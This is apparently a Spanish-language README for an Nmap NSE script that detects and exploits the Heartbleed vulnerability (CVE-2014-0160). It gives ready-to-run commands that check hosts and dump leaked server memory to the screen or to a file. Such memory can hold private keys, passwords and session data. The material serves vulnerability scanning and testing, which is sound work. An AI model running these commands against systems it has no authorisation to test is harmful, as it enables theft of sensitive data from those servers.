ssl-heartbleed.nse

Script NSE de Nmap que descubre/explota Heartbleed/CVE-2014-0160. Este script es actualmente básicamente el que escribió Patrik Karlsson con algunos cambios menores adaptados de mi propio script.

Características

• Incluye soporte para FTP, SMTP, XMPP (https://github.com/nmap/nmap/blob/master/nselib/sslcert.lua#L231).
• Soporta todas las versiones de TLS (TLSv1.0, TLSv1.1, TLSv1.2).
• Imprime la memoria filtrada como volcado hexadecimal.
• Vuelca la memoria filtrada en un archivo.

Uso

Comprobar si un host es vulnerable

Esto se ejecuta en cada puerto SSL, FTP, SMTP y/o XMPP.

$ nmap --script ./openssl-heartbleed.nse host.tld

Volcar la memoria filtrada de un host vulnerable

El volcado de la memoria filtrada se habilita aumentando el nivel de depuración de Nmap mediante la opción -d.

$ nmap -d --script=./openssl-heartbleed.nse host.tld

Volcar la memoria filtrada en un archivo

$ nmap --script ./ssl-heartbleed.nse --script-args 'ssl-heartbleed.dumpfile=/tmp/heartbleed.dump' host.tld

Ejecutar ssl-heartbleed.nse contra cada puerto

Fuerza la ejecución del script en cada puerto, independientemente de si el servicio fue detectado o no.

$ nmap --script +./ssl-heartbleed.nse host.tld